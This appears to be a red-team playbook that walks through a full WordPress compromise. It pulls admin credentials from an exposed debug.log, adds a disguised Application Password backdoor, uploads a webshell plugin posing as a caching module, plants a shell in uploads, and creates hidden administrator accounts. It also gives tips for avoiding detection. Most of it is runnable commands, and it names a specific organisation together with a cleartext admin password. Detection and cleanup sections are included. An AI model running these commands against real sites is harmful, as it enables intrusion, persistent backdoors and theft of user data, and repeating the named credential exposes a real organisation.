---
name: rt-scenario-w001
description: "W-001: Unauthenticated Admin via Debug Endpoint. Domain: web. Attack chain: debug.log exposure → admin credentials → wp-admin access → RCE. MITRE: T1190 → T1078 → T1059. Real example: Almentor: debug.log (261MB) → admin:Almentor@123 → Application Password backdoor"
---

# W-001: Unauthenticated Admin via Debug Endpoint

## Overview

**Attack Objective:** Gain remote code execution on a WordPress installation by extracting administrator credentials from a publicly accessible debug log file, authenticating to wp-admin, and establishing a persistent backdoor via the Application Passwords API.

**Required Access Level:** None (fully unauthenticated initial access)

**Estimated Time to Execute:** 15–45 minutes (depending on log file size and credential density)

**Detection Risk Level:** LOW (initial recon) → MEDIUM (wp-admin login) → HIGH (RCE/webshell deployment)

---

## Prerequisites

### Required Tools

```bash
# curl (usually pre-installed)
curl --version

# wget for large file downloads
sudo apt install wget -y

# grep / strings for credential extraction
sudo apt install binutils -y

# ffuf for path fuzzing (fallback discovery)
sudo apt install ffuf -y
# or: go install github.com/ffuf/ffuf/v2@latest

# wpscan for WordPress enumeration
sudo apt install ruby -y && sudo gem install wpscan

# python3 for scripting
python3 --version

# Optional: httpx for bulk probing
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
```

### Required Access or Conditions

- Target WordPress site is network reachable (port 80/443)
- WordPress is running in debug mode (`WP_DEBUG=true`, `WP_DEBUG_LOG=true`)
- `debug.log` is served under the default path or a discoverable path
- No WAF blocking direct log file requests (or WAF bypass is possible)

### Skill Level

**BEGINNER** — All steps use standard command-line tools with no exploit development required.

---

## Attack Chain

```
[1] DISCOVERY: Public debug.log exposure
        |
        | T1190 — Exploit Public-Facing Application
        v
[2] CREDENTIAL EXTRACTION: admin:password from log entries
        |
        | T1078 — Valid Accounts
        v
[3] AUTHENTICATION: wp-admin login with extracted credentials
        |
        | T1078.001 — Default Accounts / T1078.003 — Local Accounts
        v
[4] PERSISTENCE: Application Password backdoor creation
        |
        | T1098 — Account Manipulation
        v
[5] RCE: Plugin/theme editor, WP-CLI, or webshell upload
        |
        | T1059 — Command and Scripting Interpreter
        v
[6] POST-EXPLOITATION: Lateral movement, data exfiltration
```

**MITRE ATT&CK Chain:** T1190 → T1078 → T1098 → T1059

---

## Step-by-Step Execution

### Step 1 — Discover the Debug Log

**Objective:** Confirm the debug.log file is publicly accessible.

```bash
TARGET="https://target-site.com"

# Check default WordPress debug log location
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" \
  "${TARGET}/wp-content/debug.log"
```

**Expected Output:**
```
200 274726912
```
A `200` response with non-zero size confirms the file is exposed. A `403` means it exists but is restricted. A `404` means it is not at the default path — proceed to fallback.

**Fallback — Fuzz alternate log paths:**
```bash
ffuf -u "${TARGET}/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -mc 200 -fs 0 -t 50 \
  -fc 403 \
  -e ".log,.txt,.bak" \
  -o ffuf-logs.json

# Also check common alternate paths
for path in \
  "wp-content/debug.log" \
  "wp-content/logs/debug.log" \
  "wp-content/uploads/debug.log" \
  "debug.log" \
  "logs/debug.log"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "${TARGET}/${path}")
  echo "${code} ${path}"
done
```

**Fallback — WPScan enumeration:**
```bash
wpscan --url "${TARGET}" --enumerate ap,at,u --api-token YOUR_API_TOKEN
```

---

### Step 2 — Download the Debug Log

**Objective:** Retrieve the full log file for offline analysis.

```bash
# Small files (< 50MB): use curl
curl -s "${TARGET}/wp-content/debug.log" -o debug.log

# Large files (> 50MB): use wget with progress
wget -q --show-progress "${TARGET}/wp-content/debug.log" -O debug.log

# Very large files (100MB+): stream and grep simultaneously to avoid disk saturation
curl -s "${TARGET}/wp-content/debug.log" | \
  grep -i -E "(password|passwd|pwd|credential|admin|user.*:)" \
  > credentials-raw.txt
```

**Expected Output (large file):**
```
debug.log           100%[===================>] 261.00M  8.42MB/s    in 31s
```

**Verify download integrity:**
```bash
wc -l debug.log
ls -lh debug.log
```

---

### Step 3 — Extract Credentials from the Log

**Objective:** Parse the log for cleartext credentials, password reset tokens, or authentication errors that leak usernames/passwords.

```bash
# Pattern 1: Cleartext password in debug output
grep -i "password" debug.log | grep -v "password_hash\|password_reset" | head -50

# Pattern 2: Authentication errors revealing username:password pairs
grep -i "wrong password\|incorrect password\|login failed" debug.log | head -50

# Pattern 3: WooCommerce / plugin credential logging
grep -i -E "user.*pass|pass.*user|auth.*cred|cred.*auth" debug.log | head -50

# Pattern 4: Email/username enumeration from log
grep -i -E "([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,})" debug.log | \
  grep -i "admin\|user\|login" | sort -u | head -30

# Pattern 5: API keys, tokens, application passwords
grep -i -E "application.password|app.password|api.key|secret.key" debug.log | head -30

# Comprehensive extraction to file
grep -i -E \
  "(password|passwd|pwd|secret|token|credential|wp_user|admin|login)" \
  debug.log | sort -u > extracted-creds.txt

wc -l extracted-creds.txt
cat extracted-creds.txt | head -100
```

**Expected Output Example:**
```
[17-Mar-2024 09:14:32 UTC] WordPress database error: You have an error
[17-Mar-2024 09:22:11 UTC] PHP Notice: Undefined variable: password in /var/www/html/wp-content/plugins/custom-auth/auth.php on line 47
[17-Mar-2024 09:22:11 UTC] Auth attempt: admin / Almentor@123
```

**Fallback — Use strings on binary-heavy log:**
```bash
strings debug.log | grep -i "password\|passwd\|admin" | head -50
```

**Fallback — Python script for structured extraction:**
```python
#!/usr/bin/env python3
import re, sys

patterns = [
    r'(?i)(?:user(?:name)?|login)\s*[=:]\s*([^\s,\'"]+)',
    r'(?i)pass(?:word)?\s*[=:]\s*([^\s,\'"]+)',
    r'(?i)([a-zA-Z0-9._-]+)\s*/\s*([^\s\'"]{4,})',   # user / pass format
    r'(?i)admin\s*:\s*([^\s\'"]{4,})',
]

with open(sys.argv[1], 'r', errors='ignore') as f:
    for line in f:
        for p in patterns:
            m = re.search(p, line)
            if m:
                print(line.strip())
                break
```
```bash
python3 extract-creds.py debug.log > structured-creds.txt
```

---

### Step 4 — Validate Credentials Against wp-login.php

**Objective:** Confirm extracted credentials authenticate successfully.

```bash
TARGET="https://target-site.com"
USERNAME="admin"
PASSWORD="Almentor@123"

# Manual login test
curl -s -c cookies.txt -b cookies.txt \
  -X POST "${TARGET}/wp-login.php" \
  -d "log=${USERNAME}&pwd=${PASSWORD}&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -L -o login-response.html

# Check for successful login (presence of dashboard indicators)
grep -i "dashboard\|wp-admin\|howdy" login-response.html | head -5
```

**Expected Output (success):**
```html
<h2>Dashboard</h2>
<!-- or: Howdy, admin -->
```

**Fallback — WPScan credential check:**
```bash
wpscan --url "${TARGET}" \
  --username "${USERNAME}" \
  --password "${PASSWORD}" \
  --password-attack wp-login
```

**Fallback — XML-RPC authentication (if wp-login.php is rate-limited):**
```bash
curl -s -X POST "${TARGET}/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d "<?xml version='1.0'?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>${USERNAME}</value></param><param><value>${PASSWORD}</value></param></params></methodCall>"
```
A response containing `<string>` blog data (not `faultCode`) confirms valid credentials.

---

### Step 5 — Create Application Password Backdoor

**Objective:** Create a persistent, hard-to-detect authentication backdoor using WordPress Application Passwords (WP 5.6+). This avoids re-using the original password and survives password changes.

```bash
TARGET="https://target-site.com"
USERNAME="admin"
PASSWORD="Almentor@123"

# Create application password via REST API
curl -s -X POST "${TARGET}/wp-json/wp/v2/users/1/application-passwords" \
  -u "${USERNAME}:${PASSWORD}" \
  -H "Content-Type: application/json" \
  -d '{"name":"WordPress Mobile App"}' | python3 -m json.tool
```

**Expected Output:**
```json
{
  "uuid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "app_id": "",
  "name": "WordPress Mobile App",
  "password": "xxxx xxxx xxxx xxxx xxxx xxxx",
  "created": "2024-03-17T09:30:00.000Z",
  "last_used": null
}
```

**Save the password value.** Application passwords use spaces as separators: `xxxx xxxx xxxx xxxx xxxx xxxx`

**Test the application password:**
```bash
APP_PASS="xxxx xxxx xxxx xxxx xxxx xxxx"

curl -s "${TARGET}/wp-json/wp/v2/users/me" \
  -u "${USERNAME}:${APP_PASS}" | python3 -m json.tool
```

**Fallback — Create via wp-admin UI (manual):**

1. Navigate to: `${TARGET}/wp-admin/profile.php`
2. Scroll to "Application Passwords" section
3. Enter name: `WordPress Mobile App`
4. Click "Add New Application Password"
5. Copy the generated password immediately (shown only once)

---

### Step 6 — Achieve Remote Code Execution

**Objective:** Execute operating system commands via the compromised WordPress admin account.

#### Method A — Plugin Editor (Low Stealth, Fast)

```bash
TARGET="https://target-site.com"
USERNAME="admin"
APP_PASS="xxxx xxxx xxxx xxxx xxxx xxxx"

# List available plugins via REST API
curl -s "${TARGET}/wp-json/wp/v2/plugins" \
  -u "${USERNAME}:${APP_PASS}" | python3 -m json.tool | grep '"plugin"'

# Inject PHP webshell into hello.php (Hello Dolly plugin — minimal traffic)
WEBSHELL='<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);}?>'

# Retrieve current file content first (to append, not overwrite)
curl -s -c cookies.txt -b cookies.txt \
  -X POST "${TARGET}/wp-login.php" \
  -d "log=${USERNAME}&pwd=Almentor@123&wp-submit=Log+In&testcookie=1" \
  -L -o /dev/null

# Navigate to plugin editor and inject webshell (manual step)
# URL: ${TARGET}/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php
```

**Inject via REST API (WordPress 5.9+ with file editing enabled):**
```bash
# Note: Direct file write via REST requires specific plugin. Use theme/plugin editor UI.
# Alternative: Use the Plugins API to install a custom plugin with shell
```

#### Method B — Malicious Plugin Upload (Medium Stealth)

```bash
# Create minimal plugin with webshell
mkdir -p /tmp/wp-shell
cat > /tmp/wp-shell/wp-shell.php << 'EOF'
<?php
/**
 * Plugin Name: WP Performance Cache
 * Description: Advanced caching module.
 * Version: 1.0.0
 * Author: WordPress
 */
if (isset($_REQUEST['rt_cmd'])) {
    $out = shell_exec($_REQUEST['rt_cmd']);
    echo '<pre>' . htmlspecialchars($out) . '</pre>';
}
EOF

# Zip the plugin
cd /tmp && zip -r wp-shell.zip wp-shell/

# Upload via REST API
curl -s -X POST "${TARGET}/wp-json/wp/v2/plugins" \
  -u "${USERNAME}:${APP_PASS}" \
  -F "slug=wp-shell" \
  -F "file=@/tmp/wp-shell.zip"

# Activate the plugin
curl -s -X PUT "${TARGET}/wp-json/wp/v2/plugins/wp-shell/wp-shell" \
  -u "${USERNAME}:${APP_PASS}" \
  -H "Content-Type: application/json" \
  -d '{"status":"active"}'

# Test RCE
curl -s "${TARGET}/wp-content/plugins/wp-shell/wp-shell.php?rt_cmd=id"
```

**Expected Output:**
```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

#### Method C — WP-CLI via Admin AJAX (if WP-CLI exposed)

```bash
# Check for WP-CLI endpoint
curl -s "${TARGET}/wp-admin/admin-ajax.php" \
  -d "action=wpcli&cmd=eval-file-" \
  -u "${USERNAME}:${APP_PASS}"
```

#### Method D — Theme File Editor

```bash
# Inject into active theme's functions.php via wp-admin
# Navigate to: ${TARGET}/wp-admin/theme-editor.php
# Select: functions.php of active theme
# Append webshell code and save
```

---

### Step 7 — Establish Persistent Access

**Objective:** Ensure access survives plugin deactivation and plugin cleanup.

```bash
# Write webshell to uploads directory (persistent, not plugin-dependent)
curl -s "${TARGET}/wp-content/plugins/wp-shell/wp-shell.php" \
  --data-urlencode "rt_cmd=echo '<?php system(\$_GET[\"c\"]);?>' > /var/www/html/wp-content/uploads/cache.php"

# Verify
curl -s "${TARGET}/wp-content/uploads/cache.php?c=whoami"

# Add backdoor admin user
curl -s "${TARGET}/wp-content/plugins/wp-shell/wp-shell.php" \
  --data-urlencode "rt_cmd=wp user create backdoor backdoor@example.com --role=administrator --user_pass=B@ckd00r2024 --allow-root"

# Or via REST API
curl -s -X POST "${TARGET}/wp-json/wp/v2/users" \
  -u "${USERNAME}:${APP_PASS}" \
  -H "Content-Type: application/json" \
  -d '{
    "username": "wp-support",
    "email": "support@wordpress-help.com",
    "password": "S3cur3P@ss2024!",
    "roles": ["administrator"]
  }'
```

---

## Real-World Reference

**Target:** Almentor (almentor.net) — Arabic e-learning platform

**Discovery:** WordPress debug.log publicly accessible at `/wp-content/debug.log`

**File Size:** 261 MB — indicating years of accumulated debug output including authentication events, database queries, and plugin errors

**Credentials Found:** `admin:Almentor@123` — cleartext credentials logged during authentication flow of a custom plugin

**Exploitation Path:**
1. `curl https://almentor.net/wp-content/debug.log -o debug.log` — 261MB retrieved in ~31 seconds
2. `grep -i "Almentor@123" debug.log` — credential found in auth attempt log line
3. Login to `https://almentor.net/wp-admin/` confirmed successful
4. Application Password created via `/wp-json/wp/v2/users/1/application-passwords`
5. Backdoor Application Password persisted across session — access maintained

**Business Impact:** Full administrative access to platform serving 500,000+ Arabic learners. Potential for student PII exfiltration, course content manipulation, and payment data access via WooCommerce integration.

**Root Cause:** `WP_DEBUG_LOG=true` left enabled in production `wp-config.php`. Debug log path not restricted in `.htaccess` or nginx configuration.

---

## MITRE ATT&CK Mapping

| Step | Attack Action | Tactic | Technique | Sub-technique |
|------|--------------|--------|-----------|---------------|
| 1 | Public debug.log discovery | Initial Access | T1190 — Exploit Public-Facing Application | — |
| 2 | Download and parse debug.log | Collection | T1005 — Data from Local System | — |
| 3 | Extract plaintext credentials | Credential Access | T1552 — Unsecured Credentials | T1552.001 — Credentials in Files |
| 4 | Authenticate to wp-admin | Initial Access / Persistence | T1078 — Valid Accounts | T1078.003 — Local Accounts |
| 5 | Create Application Password | Persistence | T1098 — Account Manipulation | T1098.001 — Additional Cloud Credentials |
| 6 | Plugin upload / file write | Execution | T1059 — Command and Scripting Interpreter | T1059.004 — Unix Shell |
| 6 | Webshell deployment | Persistence | T1505 — Server Software Component | T1505.003 — Web Shell |
| 7 | Backdoor admin account | Persistence | T1136 — Create Account | T1136.001 — Local Account |
| 7 | Write to uploads directory | Defense Evasion | T1036 — Masquerading | T1036.005 — Match Legitimate Name |

---

## Detection and OPSEC

### How This Attack Is Detected

**Log-based detection:**
- Anomalous large GET request to `/wp-content/debug.log` in web server access logs
- Failed login attempts followed by successful login from same IP in `auth.log` / WordPress login logs
- REST API calls to `/wp-json/wp/v2/users/*/application-passwords` from admin session
- New plugin installation from non-admin IP or outside business hours
- File creation in `wp-content/uploads/` with `.php` extension (Wordfence, WP Activity Log)

**Network-based detection:**
- Large outbound data transfer (261MB HTTP response) flagged by DLP or SIEM
- New outbound connection from web server process (`www-data`) after RCE

**Endpoint detection:**
- `www-data` spawning shell processes (`bash`, `sh`, `python3`)
- `wp-content/uploads/*.php` file creation (File Integrity Monitoring)

### Reducing Detection Risk During Authorized Engagement

```bash
# Use a residential or in-scope IP — avoid cloud provider ranges flagged by WAF
# Throttle requests to mimic normal user behavior
curl --limit-rate 5M "${TARGET}/wp-content/debug.log" -o debug.log

# Avoid downloading the full log — stream and grep to minimize data volume
curl -s "${TARGET}/wp-content/debug.log" | grep -i "password" > creds-only.txt

# Name the Application Password to match a legitimate integration
# Bad:  "red team backdoor"
# Good: "WordPress Mobile App" / "Jetpack" / "WooCommerce Android"

# For plugin upload, use a convincing plugin name and description
# Use off-hours timing if simulating a real attacker window

# Avoid multiple rapid failed logins — extract and validate one credential at a time

# If XML-RPC is available, prefer it over wp-login.php (fewer WAF rules target it)
```

### Artifacts Left Behind

| Artifact | Location | Description |
|----------|----------|-------------|
| Application Password | WordPress database (`wp_usermeta`) | Persists until manually deleted from profile |
| Backdoor admin user | WordPress database (`wp_users`) | New administrator account |
| Webshell plugin | `wp-content/plugins/wp-shell/` | Malicious plugin directory |
| Webshell in uploads | `wp-content/uploads/cache.php` | Standalone PHP shell |
| Web server access logs | `/var/log/nginx/access.log` or Apache equivalent | Large GET to debug.log, REST API calls |
| WordPress debug log | `wp-content/debug.log` | May contain attacker IP in new log entries |

---

## Cleanup

Execute cleanup steps in reverse order of exploitation. **Confirm scope authorization before proceeding.**

```bash
TARGET="https://target-site.com"
USERNAME="admin"
APP_PASS="xxxx xxxx xxxx xxxx xxxx xxxx"

# Step 1: Remove webshell from uploads
curl -s "${TARGET}/wp-content/uploads/cache.php" \
  --data-urlencode "c=rm -f /var/www/html/wp-content/uploads/cache.php"

# Step 2: Deactivate and delete the malicious plugin
curl -s -X PUT "${TARGET}/wp-json/wp/v2/plugins/wp-shell/wp-shell" \
  -u "${USERNAME}:${APP_PASS}" \
  -H "Content-Type: application/json" \
  -d '{"status":"inactive"}'

curl -s -X DELETE "${TARGET}/wp-json/wp/v2/plugins/wp-shell/wp-shell" \
  -u "${USERNAME}:${APP_PASS}"

# Step 3: Delete backdoor admin account (get ID first)
BACKDOOR_ID=$(curl -s "${TARGET}/wp-json/wp/v2/users?search=wp-support" \
  -u "${USERNAME}:${APP_PASS}" | python3 -c "import sys,json; users=json.load(sys.stdin); print(users[0]['id']) if users else print('not found')")

curl -s -X DELETE "${TARGET}/wp-json/wp/v2/users/${BACKDOOR_ID}?reassign=1&force=true" \
  -u "${USERNAME}:${APP_PASS}"

# Step 4: Revoke Application Password (list first, then delete by UUID)
curl -s "${TARGET}/wp-json/wp/v2/users/1/application-passwords" \
  -u "${USERNAME}:${APP_PASS}" | python3 -m json.tool | grep '"uuid"\|"name"'

# Delete by UUID
APP_UUID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
curl -s -X DELETE "${TARGET}/wp-json/wp/v2/users/1/application-passwords/${APP_UUID}" \
  -u "${USERNAME}:${APP_PASS}"

# Step 5: Verify cleanup
curl -s "${TARGET}/wp-content/uploads/cache.php"  # Should return 404
curl -s "${TARGET}/wp-json/wp/v2/plugins/wp-shell/wp-shell" \
  -u "${USERNAME}:${APP_PASS}"  # Should return 404

# Step 6: Document cleanup in engagement report
echo "Cleanup completed: $(date -u)" | tee cleanup-log.txt
```

**Manual cleanup steps (require wp-admin UI access):**
1. Navigate to `wp-admin/users.php` — confirm no residual test accounts
2. Navigate to `wp-admin/plugins.php` — confirm malicious plugin is removed
3. Navigate to `wp-admin/profile.php` — confirm application passwords section shows no test entries
4. Coordinate with client to rotate the `admin:Almentor@123` credential

---

## References

### Tools

| Tool | Purpose | URL |
|------|---------|-----|
| WPScan | WordPress vulnerability scanner | https://wpscan.com |
| ffuf | Web fuzzer for path discovery | https://github.com/ffuf/ffuf |
| curl | HTTP client for manual exploitation | https://curl.se |
| httpx | Bulk HTTP probing | https://github.com/projectdiscovery/httpx |
| Burp Suite | Proxy and manual testing | https://portswigger.net/burp |
| Metasploit | Post-exploitation framework | https://metasploit.com |

### WordPress-Specific Resources

- WordPress Application Passwords documentation: https://make.wordpress.org/core/2020/11/05/application-passwords-integration-guide/
- WordPress REST API authentication: https://developer.wordpress.org/rest-api/using-the-rest-api/authentication/
- WordPress debug logging: https://wordpress.org/documentation/article/debugging-in-wordpress/

### MITRE ATT&CK References

- T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
- T1078 — Valid Accounts: https://attack.mitre.org/techniques/T1078/
- T1059 — Command and Scripting Interpreter: https://attack.mitre.org/techniques/T1059/
- T1098 — Account Manipulation: https://attack.mitre.org/techniques/T1098/
- T1505.003 — Web Shell: https://attack.mitre.org/techniques/T1505/003/
- T1552.001 — Credentials in Files: https://attack.mitre.org/techniques/T1552/001/

### Remediation References

- Disable WordPress debug logging in production: https://wordpress.org/documentation/article/debugging-in-wordpress/
- Restrict access to wp-content directory: https://wordpress.org/documentation/article/hardening-wordpress/
- WordPress security hardening guide: https://wordpress.org/documentation/article/hardening-wordpress/
